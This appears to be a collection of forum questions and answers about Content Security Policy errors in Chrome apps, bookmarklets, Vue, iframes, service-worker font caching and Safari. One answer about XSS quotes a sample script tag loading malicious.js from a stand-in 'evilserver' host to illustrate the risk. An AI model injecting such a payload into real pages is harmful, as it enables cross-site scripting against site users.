According to this documentation I should be able to include <script src="https://sandbox.google.com/checkout/inapp/lib/buy.js"></script> in html of my packaged app, but I received an error:
Refused to load the script
'https://sandbox.google.com/checkout/inapp/lib/buy.js' because it
violates the following Content Security Policy directive: "default-src
'self' chrome-extension-resource:". Note that 'script-src' was not
explicitly set, so 'default-src' is used as a fallback.
Also I've tried to attach buy.js (which I just copied from mentioned url) but it also produces an error in buy.js:
Refused to frame
'https://checkout.google.com/inapp/frontend/app/payments.html?formFactor=DES…extension://ihligbifffjddjffdiapccakkdglodcj&rti=i:48847aba&rt=o:-519cd794'
because it violates the following Content Security Policy directive:
"frame-src 'self' data: chrome-extension-resource:".
What is the problem here?
You're doing it wrong. This buy.js is a simple cross-app messaging script which talks to internal Google In-App Application inside Chrome.
You must package the buy.js library with your app, and load the library from its location in your package.
Check this for more info
Related
I've got a JavaScript bookmarklet that prompts for a bookmark name, then using XMLHttpRequest, POSTs the name and current page URL to a Java servlet running in Tomcat on localhost. The servlet stores the name and URL in a DB. This works fine for most webpages, but fails if the page that's currently loaded has added Content Security Policy "connect-src" restrictions.
Here's the error: Refused to connect to 'http://localhost:8080/MyServlet' because it violates the following Content Security Policy directive: "connect-src 'self'
I obviously don't want to disable CSP completely. And since I won't know if I want to bookmark the page until it's fully loaded, anything that tinkers with CSP in the response headers or meta tags is doing the work too soon.
Is there some way I can tell the browser to ignore the "connect-src" restriction for just my localhost case, or disable/enable it on either side of my XMLHttpRequest POST?
I'm in Chrome "90.0.4430.72 (Official Build) (64-bit)".
After long frustrating hours of research I finally found the cause for my Laravel7 VueJS (within blade templates) application running on nginx throwing a blank screen. Yet I lack the explanation or correct config.
When I accessed any route it would be seen for around 200ms and then switch to a white screen without any errors in npm run prod config.
Body tag would be completely empty (it looked uncommented in the inspector)
[...]
<body>
<!-- -->
</body>
[...]
Funny enough (sarcastically speaking) on page reload the login page would work normally but after accessing any other route it would revert to the behaviour described above.
After switching to npm run dev the console threw the following error:
[Vue warn]: It seems you are using the standalone build of Vue.js in an environment with Content Security Policy that prohibits unsafe-eval. The template compiler cannot work in this environment. Consider relaxing the policy to allow unsafe-eval or pre-compiling your templates into render functions.
and
EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "default-src 'self' http: https: data: blob: 'unsafe-inline'".
Which made me realize my nginx security config which I generated using the fabulous Tool provided by DigitalOcean included the following line:
add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always;
After removing and restarting nginx everything works and looks as it does on my dev environment.
From what I get I now theoretically make my site vulnerable to XSS attacks but I do not fully understand what the option does or if it is safe to run without it with these circumstance.
The CSP header just lets your browser know what sources of JS are allowed. However, it is really a backup plan - what causes XSS is some code on your system that would render unauthorised JavaScript.
For example, the comment boxes on Stack Overflow allow me to enter the following text: <script src="http://evilserver.com/malicious.js"></script>. Stack Overflow know what they are doing, so they make sure that what is rendered is HTML, and not a literal <script> tag. Thus, you need to make sure you take the necessary care when rendering user supplied content and you will be OK (in general you do this in your output layer, not when accepting/storing input).
If you accept HTML input from users (as Stack Overflow does) then you have to be especially careful to allow only certain tags, and to ensure that any JS vectors are blocked up. So, the following text:
is actually in an <i> tag, which is rendered literally in the web app
That one is OK, since it is safe. You do need to make sure that any attributes are carefully checked, and any invalid markup is rejected. These can also be the source of security problems. This is a complex enough problem that, if you need users to be able to input HTML, you should not attempt to filter it yourself. Use a well-tested and well-regarded library instead.
I have a web page that contains an iframe. The iframe is loaded with a URL call to the same server as the page. However, I get this, because I am apparently using a different port, 81:
Refused to frame 'http://my-same-server:81/' because it violates the following Content Security Policy directive: "frame-src 'self' https://*".
I realize this is a Content Security Policy issue for newer Chrome browser versions, and know that I need to change an Apache header, but am not sure to what I would change it to allow the iframe to properly load. The URL cannot use HTTPS, otherwise there are no special conditions. Any help would be grand. Thank you.
I have a progressive web app. I am using Google Fonts and I am using workbox in my service worker.
My Content Security Policy is defined as:
// Omitting all the other directives
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
connect-src 'self';
I have set up workbox to cache the fonts by following the recipe here. The code looks like:
workbox.routing.registerRoute(
/^https:\/\/fonts\.googleapis\.com/,
new workbox.strategies.StaleWhileRevalidate({
cacheName: 'google-fonts-stylesheets',
})
);
workbox.routing.registerRoute(
/^https:\/\/fonts\.gstatic\.com/,
new workbox.strategies.CacheFirst({
cacheName: 'google-fonts-webfonts',
plugins: [
new workbox.cacheableResponse.Plugin({
statuses: [0, 200],
}),
new workbox.expiration.Plugin({
maxAgeSeconds: 60 * 60 * 24 * 365,
maxEntries: 30,
}),
],
})
);
The problem here is that when I try to load my app, in the browser (Google Chrome / Safari) or in the standalone app, the font does not load. After many hair pulling moments, Chrome finally gave me an error in the console:
Refused to connect to 'https://fonts.googleapis.com/css?family=Montserrat|Quicksand&display=swap' because it violates the following Content Security Policy directive: "connect-src 'self'".
Uncaught (in promise) no-response: no-response :: [{"url":"https://fonts.googleapis.com/css?family=Montserrat|Quicksand&display=swap","error":{}}]
at o.makeRequest (https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-strategies.prod.js:1:3983)
GET https://fonts.googleapis.com/css?family=Montserrat|Quicksand&display=swap net::ERR_FAILED
It appears that I need to declare google fonts under connect-src too. I did not see that mentioned anywhere (and I googled a lot) so I wanted to know if this is a bug or I indeed need to define the font in the connect-src CSP directive?
connect-src 'fonts.googleapis.com' would be required, notwithstanding your current Content-Security-Policy. If I may answer this with additional material that you did not specifically request:
The purpose of CSP is Security; having unsafe-inline set for style-src is not secure. From MDN on the page dedicated to style-src - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src :
Note: Disallowing inline styles and inline scripts is one of the biggest security wins CSP provides. However, if you absolutely have to use it, there are a few mechanisms that will allow them.
Focusing on this alone, Google’s fonts don’t play well with SRI (subresource integrity) which would solve the security issue. A better option if security is something to which one needs to pay respect would be using a secondary server strictly for your font (unless you choose to implement SRI-friendly web fonts loaded from, e.g., CDNJS). This would allow you to implement hashing with google fonts, just be sure to have the proper CORS settings between SERVER and font server. I’d also highly recommend locking down your default-src to 'none' and thereafter define each following fetch directive as detailed by MDN here: https://developer.mozilla.org/en-US/docs/Glossary/Fetch_directive , just be sure not to use unsafe-inline in script-src OR style-src and avoid unsafe-eval as well. frame-ancestors 'none', upgrade-insecure-requests (as well as block-all-mixed-content for anyone using I.E. or Edge) and if you do decide on implementing SRI, require-sri-for script style.
I hope I haven’t overstated my answer and that, ofc, it helps you.
Seems like Safari has a very strong restriction on CSP. For example, on GitHub, most of the userscripts and extension doesn't work because of that.
I got a such error from the console.
[Error] Refused to execute a script because its hash, its nonce, or 'unsafe-inline' does not appear in the script-src directive of the Content Security Policy. (pulls, line 0)
How can I stop CSP check in Safari?